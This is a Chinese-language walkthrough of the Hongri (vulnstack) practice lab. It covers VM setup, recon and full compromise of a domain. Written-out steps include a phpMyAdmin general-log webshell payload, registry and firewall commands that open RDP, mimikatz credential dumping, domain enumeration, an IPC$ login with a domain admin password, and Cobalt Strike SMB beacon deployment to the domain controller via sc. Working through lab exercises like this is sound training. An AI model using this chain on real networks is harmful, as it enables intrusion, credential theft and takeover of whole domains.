红日靶场

day1

image-20240714194756740

image-20240714204701493

环境搭建

win7

设置多网卡,直接在vm里添加网卡即可

image-20240714205207287

修改ip

image-20240714205318977

再搭建另一个网卡,这里不能选连接到此网络,模拟真实环境

image-20240714205423295

让虚拟机吃上网卡,vulnstack-win7

image-20240714205651657

密码hongrisec@2019,进去后ipconfig一下,看看网卡装上没

image-20240714210031171

配置ip地址

公网:192.168.111.128

内网:192.168.52.149

公网

image-20240714230422440

内网(141改138,要域控的地址)所以后面有一段是脱域了

image-20240714230806133

配置好后

image-20240714231050155

image-20240714231112868

把win7的防火墙关了,用本机ping一下

image-20240714231256541

说明可以访问,再ping一下内网

image-20240714231409124

ping不通才是正常的

域控win2008

image-20240714231724411

记得用内网网卡

image-20240714231752843

域内主机

image-20240714231834267

内网渗透中的基本环境和账号

​ 电脑的身份就是两种,第一种是本地工作,第二种是域,我们默认的电脑都是本地工作组的形式。综合靶场的渗透,这两种环境一定要分辨清楚,这个非常重要

​ 一个大型单位里,打能有成百上千台计算机互相连接组成局域网,如果不对这些计算机进行分组,网络的混乱程度是可想而知的 为了解决这一问题,产生了工作组( Work Group)这个概念。将不同的计算机按功能(或部门)分别列入不同的工作组,例如技术部的计算机都列入”技术部“工作组、行政部的计算机都 列入”行政部“工作组。相比不分组的情况,这样的情况有序得多(尤其对大型局域 网来说)。

​ 每个人的电脑默认是工作组形式存在

image-20240714232324597

但工作组有个弊端,没有集中统计管理,可以随便换,而且没有统一的分发机制。而域控就可以对这些电脑统一控制,域控就是域环境的控制器

为了解决工作的不方便性,提出了域这个概念

域(Domain)是一个有安全边界的计算机集合,可以简单地把域理解成升级版的工作组。与工作组相比,域的安全管理控制机制更加严格。用户要想访问域内的资源,必须以合法的身份登录域,而用户对域内的资源拥有什么样的权限,还取决于用户在域内的身份

image-20240714233903406

既然存在工作组和域两种形式的环境,那么针对于电脑而言,就有两种形式的账号

内网账号分类

​ 1、工作组账号(本地账号)

​ 2、域环境账号(域账号)
账号存储位置

​ 1、本地账号在本地的机器上

​ 2、域账号在域控上

账号识别

​ 1、工作组账号(机器名\账户名)

​ 2、域账号(域名\账户名)

image-20240714234335240

就比如YOUZIPII\yxz就是一个本地账号,域账号就是GOD(域名)\yxz,进入到web服务器

image-20240714234850953

这个god目前还不知道是什么账号,我们可以进去看一下hostname

image-20240714234940547

可以看到hostname是stu1,所以god应该就是域名了,所以我们可以到域控里登陆这个账号试试

image-20240714235046761

image-20240714235152588

image-20240714235203073

提示密码过期,更改一下

image-20240714235222523

还有复杂度要求,那就改成admin@123把

image-20240714235345867

这时,三台主机就都被更改了,域控主机也可以用这个登陆,域控账号可以登陆域内任意一台电脑,对于多个域有各自的域账号,拿到域控就基本打穿了

image-20240714235506989

image-20240714235519209

渗透测试第一步信息收集技术

先把web服务开起来,记得先重启一下

image-20240715000458430

信息收集就是收集目标的相关信息,其中包含了

  1. iP地址
  2. 子域名
  3. 目录结构
  4. JS信息
  5. APP和小程序
  6. 端口
  7. 旁站
  8. C段
  9. whois信息
  10. 公司相关手机邮箱。

端口

御剑扫描

image-20240715000638185

可以发现开了80、135、139、445、3306端口

image-20240715000715393

不同端口对应不同服务,访问80端口看看web服务

image-20240715000815566

打点技术和漏洞挖掘思路

目录扫描

image-20240715143053529

image-20240715143122240

image-20240715143144501

漏洞搜索与利用历史漏洞

phpmyadmin爆破

image-20240715150339391

image-20240715150420040

image-20240715150443259

都是基于字典的爆破,顺便补充一下四种爆破的区别

https://blog.csdn.net/qq_39101049/article/details/90234669

但结果好像不太行,换了一种工具PMAcrack破解了root:root

image-20240715151506971

PhpMyadmin GetShell

通过日志getshell,原理如下

general log 默认关闭,开启它可以记录用户输入的每条命令,会把其保存在对应的日志文件中可以尝试自定义日志文件,并向日志文件里面写入内容的话,那么就可以成功 getshell:

第一步:查看当前的日志配置

show variables like 'general%';

image-20240715152510312

当前日志是关闭的,且存的目录也一起打印了

第二步:开启日志

set global general_log = on;

image-20240715152721039

开启后,一些操作就会被记录到这里,但我们没法访问这个文件,所以我们需要改变这个路径

第三步:自定义日志路径

image-20240715152951579

在探针中包含了两个路径,我们可以随便挑一个来写木马,这里我们新建一个

set global general_log_file='C:/phpStudy/WWW/yxz.php'

image-20240715153238139

image-20240715153311205

成功访问日志

第四步:执行查询让日志记录木马

select '<?php @eval($_POST[1]); ?>'

image-20240715153730208

成功记录在文件里了,

常见连接shell工具

  1. 蚁剑 php 2015-2020
  2. 哥斯拉 java 2020-现在
  3. 冰蝎
  4. 菜刀 asp 80 2000-2010

这里用蚁剑连

第五步:蚁剑连接shell

image-20240715161218793

image-20240715161227643

image-20240715161246896

image-20240715161346371

进入shell看看账号,发现域账号

远程桌面

查看3389端口是否开放

image-20240715161554112

没有,那我们需要给他开启

REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f"

image-20240715161743108

image-20240715161852487

远程关闭防火墙

netsh firewall show state
netsh firewall set opmode disable

image-20240715162107970

image-20240715162126128

但我们还不知道密码,所以需要获取密码,要用到mimikatz

mimikatz.exe "privilege::debug" "sekurlsa::logonPasswords" "exit"

也可以看SAM文件,这里我们用mimikatz,给它上传到web服务器去

image-20240715162709527

image-20240715163049524

成功获取密码hongrisec@2019

image-20240715164328667

image-20240715164708974

已经是最高权限了,就不用提权了,作下权限维持,多埋几个木马,编辑其它文件

image-20240715165029213

看下步骤,下面应该是内网信息收集

image-20240715164825648

内网信息收集

因为前面脱域了,这里重新调了下环境,在web服务器看看域内账号

image-20240715170530119

  • 内网本地信息收集
  • 自动收集本地信息
  • 内网IP扫描技术
  • 内网端口扫描技术
  • 域内基础信息收集
  • 查找域控制器
  • 获取域内用户
  • 定位域管理员
  • PowerShell使用方式
  • 内网渗透PowerShell脚本
  • 敏感数据定位

第一步:获取当前账号机器名

image-20240715171041071

image-20240715171050953

所以前面那个应该是域账号

第二部:收集主机信息,里面有加入的域名

systeminfo

image-20240715171134242

image-20240715171151193

第三步:看域里有多少个用户

net user /domain

image-20240715171312675

域中有5个用户

第三步:看有几台电脑

net group "domain computers" /domain

image-20240715171433293

三台,除了STU1,还有

DEV1和ROOT-TVI862UBEH

第四步:查域的ip和域名

nslookup -type=SRV _ldap._tcp

image-20240715171746916

域控ip:192.168.52.138

域全名:owa.god.org前面的owa是机器名

第五步:查看IP地址

ipconfig

image-20240715172004155

还有另一个ip,看下这个网段里存活了几台机器

arp -a

image-20240715172041070

存活两台主机138和141,ping一下,结合之前的机器名

ping DEV1.god.org
ping ROOT-TVI862UBEH.god.org

image-20240715172712495

192.168.52.138 -owa.god.org域控

192.168.52.141 -ROOT-TVI862UBEH.god.org域内主机

192.1668.52.143 STU1.god.org已经被控制的web服务器

优先控制域控

Webshell管理工具也可以执行命令,但是在一些操作上实受限的,比如想提权,想扫描想横向,想代理都是不方便的怎么办呢??接下来就要使用CS或者MSF工具

CS

注意攻击机要和服务器在同一网段,或者互项ping的通

teamserver.bat ip 123456

image-20240715190012891

image-20240715190237382

创建监听器

image-20240715190427189

image-20240715190446493

image-20240715193736519

生成木马

image-20240715190657853

选择刚刚创建好的木马

image-20240715190724254

image-20240715190800860

把木马上线到服务器

image-20240715190847770

运行木马,没有上线,重新来一下,搞了半天,发现不是一个网段的。。。

image-20240715223548950

把攻击机的网络配置也改了就好

image-20240715223712099

横向移动(lateral movement)

成功的横向移动攻击可以使攻击者闯入用户现有系统,并访问系统资源。高级持续性威胁(APT)是横向移动带来的最常见网络攻击类型。如果网络有足够多未加保护的漏洞,只要有足够的时间,黑客最终就可以访问域控制器本身。
横向移动就是通过一台电脑从而控制公司的整个电脑

可以利用的技术

  1. 远控工具
  2. IPC$
  3. PTH哈希传递
  4. PTK密钥传递
  5. PTT票据传递
  6. PSexec工具
  7. SMB工具
  8. WinRM命令
  9. WMI命令

这里利用IPC技术实现

IPC

IPC( Internet ProcessConnection)共享“命名管道”的资源,是为了实现进程间通信而开放的命名管道。IPC可以通过验证用户名和密码获得相应的权限,通常在远程管理计算机和查看计算 机的共享资源时使用。

通过ipc$,可以与目标机器建立连接。利用这个连接,不仅可以访问目标机器中的文件,进行上传、下载等操作,还可以在目标机器上运行其他命令,以获取目标机器的目录结构、用户列 表等信息。

前提:知道域账号

这里还可以利用CS执行mimikatz

image-20240715224525490

image-20240715224714373

然后执行命令

net use \\192.168.52.138\ipc$ "admin@123" /user:god\administrator

image-20240715224816747

执行成功后,我们可以看下有没有建立ipc管道

image-20240715224931351

建立IPC之后就可以访问对方的电脑了,可以用如下的命令

dir \IP地址\c$
net time \\lP地址
copy 文件 \\IP地址\C$

这里就不能通过木马上线了,因为内网环境下是无法连接外网,也就是不出网,我们需要把web服务器当作跳板机,让它来转发流量,这就要用到隧道代理技术了

隧道技术

接下来介绍一下如何上线不出网的机器这里我们使用CS自带的功能,进行内网
穿透实验
SMB Beacon:
SMB Beacon使用命名管道通过父级Beacon进行通讯,当两个Beacons连接后,子Beacon从父Beacon获取到任务并发送。

image-20240715225416152

新建个监听器

image-20240715225449889

这次生成木马和前面不一样了

image-20240715225534906

image-20240715225550932

生成的木马,我们也可以通过CS上传

image-20240715225836702

image-20240715230026157

然后我们把木马再传到域控的C盘去

copy smb.exe \\192.168.52.138\C$

image-20240715230416091

下面就是执行木马的问题了,这里我们通过创建服务的方式去运行木马

sc \\owa.god.org create test binpath= "cmd.exe /c c:\smb.exe"

image-20240715230938480

前面一次运行失败了,改了个空格就是binpath=后面要加个空格

服务创建成功后,我们就要开启服务

sc \\owa.god.org start test

image-20240715231512828

这样就是成功开启了,要及时连接,不然会

image-20240715231311416

连接目标机器(必须主动连接)

link owa.god.org

image-20240715231536929

成功上线system权限

题外话

image-20240715001019514

美国入侵伊朗核设施:蠕虫

棱镜门斯诺登:窃听全世界等

华住五亿条记录等

image-20240715001344527